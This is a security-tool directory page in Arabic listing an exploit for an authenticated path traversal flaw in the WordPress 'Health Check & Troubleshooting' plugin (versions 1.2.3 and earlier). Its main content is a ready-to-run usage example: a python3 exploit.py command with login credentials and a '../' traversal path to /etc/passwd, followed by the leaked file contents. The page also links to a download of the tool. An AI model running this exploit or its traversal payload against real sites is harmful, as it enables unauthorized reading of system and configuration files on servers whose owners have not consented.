Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
health-check — Health Check & Troubleshooting <= 1.2.3 - Authenticated Path Traversal | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/health-check
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubrandomrobbiebf/health-check

health-check

Health Check & Troubleshooting <= 1.2.3 - Authenticated Path Traversal

عرض المستودع
منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

health-check

Health Check & Troubleshooting <= 1.2.3 - اجتياز المسار لمشترك+

الوصف

كانت إضافة ووردبريس Health Check & Troubleshooting متأثرة بثغرة أمنية من نوع اجتياز المسار بعد المصادقة (Authenticated Path Traversal).

ملاحظة

نظرًا لأن استجابة الإضافة تضيف الكثير من HTML حول المحتوى، فقد وضعت أداة لإزالة HTML داخل كود الاستغلال بحيث يعيد الملفات دون وسوم HTML.

لاحظ أن بعض الملفات التي قد تتصفحها قد تحتاج إلى إزالة الأكواد منها.

كيفية الاستخدام

root@kitploit:~
$ python3 exploit.py --url http://wordpress.lan --user user --password useruser1 --file  ./../../../../../../../etc/passwd
Logged in successfully.



 root:x:0:0:root:/root:/bin/bash
 </body></html>
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin


تنزيل الأداة